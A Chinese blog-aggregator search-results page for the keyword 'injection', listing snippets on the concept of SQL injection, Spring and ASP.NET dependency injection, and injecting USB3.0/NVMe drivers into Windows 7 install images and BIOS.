    SQL 注入原理 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,...
  • IOC ,全称 (Inverse Of Control) ,中文意思为:控制反转, Spring框架的核心基于控制反转原理。什么是控制反转?控制反转是一种将组件依赖关系的创建和管理置于程序外部的技术。由容器控制程序之间的关系,而不是...
  • Windows7 安装镜像注入USB3.0和NVMe驱动,支持UEFI启动

    万次阅读 多人点赞 2018-05-25 10:22:13
    一、制作前的准备 1.系统环境以Windows 7 SP1 x64为例,首先需要下载MSDN原版镜像。 镜像地址:... 2.Windows AIK自动部署工具,可以到网上下载独立版,也可以到微软官方网站下载完整版。 ...
  • 使用u盘重装win7遇到“缺少所需的CD/DVD驱动程序”需要向Win7系统镜像中注入USB3.0和NVMe驱动的驱动注入工具
  • win7安装镜像注入USB3.0,NVMe驱动

    万次阅读 2019-04-05 10:06:48
    win7安装镜像注入USB3.0,NVMe驱动 现在的新款主板和笔记本因为原生自带了USB3.0和NVMe,在安装WIN7的时候会出现进入安装界面后不识别USB设备且在硬盘列表中无法读取M.2类型的固态硬盘信息。导致这个现象的原因就是...
  • 原版Win7注入USB3.0驱动和NVME驱动教程

    万次阅读 2017-11-07 11:22:14
    前沿:1:在H100芯片平台安装Win7系统困难的原因主要是Skylake相比早期的规划方案,增加了对USB 3.1接口的支持,因此将不再支持原有的EHCI主控,变更为最新的XHCI...2:注入NVME驱动 主要针对于M2 PCI-E接口的固态硬
  • 注入pcie ssd 驱动 m2接口ssd 驱动...............................................
  • 前沿: 1:在H100芯片平台安装Win7系统困难的原因主要是Skylake相比早期的规划方案,增加了对USB 3.1接口的支持,因此将不再支持原有的EHCI主控,变更为最新的XHCI...2:由于原版win7并未注入NVME驱动 导致购买了PCI-...
  • windows7安装中注入USB3.0和NVME驱动

    千次阅读 2019-12-07 00:24:28
    nvme驱动,它是windows7的两个补丁,本来应该从微软上下载,但是微软上已经没有了!我是从以下网站下载的:thehotfixshare,下载页面分别是: KB2990941 KB3087873 window7安装iso,从msdn.itel...
  • 联想发布的一款为WINDOWS7 64位系统ISO镜像添加注入USB3.0和联想Nvme驱动的工具,用于解决安装WIN7系统后键盘和鼠标不能使用,以及不能识别U盘的问题。本工具虽然写着联想开发,但是其他镜像仍然可以使用。注意:在...
  • win7注入nvme usb3.0 驱动

    2019-01-13 18:49:06
    新主板cpu,安装不了win7,可以用这个软件在原版iso上注入usb3.0和m.2的驱动,官方软件无毒,
  • 全能USB3.x/Nvme/Other驱动注入工具是一款无需安装就可以直接使用的驱动注入工具,这款功能可以帮你一键识别...安装驱动平台:Windows7或以上系统功能:1、在当前系统安装程序集成的USB3.x驱动和Nvme驱动,欢迎下载体验
  • 很多网友新配置的电脑在装安装版的WIN7时会遇到鼠标不能动或者移动缓慢,VNME硬盘安装时认不到硬盘,此工具都能解决
  • public class Startup { public IConfiguration Configuration { get;... //在构造函数中注入 IHostingEnvironment和IConfiguration,配置已经在Program中设置了,注入后就可以获取配置文件的数据
  • 为老蓝天主板BIOS注入NVME模块

    千次阅读 2020-01-31 21:55:21
    固态现在很便宜,1GB只要1块多,看了看自己的电脑支持MkeyPCIEx4的接口,索性就买了个支持NVMe的固态(以后再买电脑直接就把这个固态放新电脑上用了)。 然而买来之后发现BIOS不支持NVMe…启动时没法从新固态引导,...
  • Controller 默认是不会通过自带容器来 Resolve&Activate 的,是通过MVC自身管理的。可以通过调用 AddControllersAsServices()方法来让 Controller 使用自带容器。 services.AddControllers()....
  • spring注入静态变量

    万次阅读 2019-06-30 23:50:10
    静态变量并不属于对象的属性,而是属于类的属性,而Spring则是基于对象的属性进行依赖注入的。所以用注解注入静态变量是不可行的,会一直报NullPointerException 例如 :直接注入静态的redisTemplate是不行的 @...
  • 实现服务注入和AOP需要安装如下包 Castle.Core.AsyncInterceptor public void ConfigureServices(IServiceCollection services) { #region 自动注入拥有ITransientDependency,IScopeDependency或...

空空如也

1 2 3 4 5 ... 20
收藏数 694,122
精华内容 277,648
关键字:

注入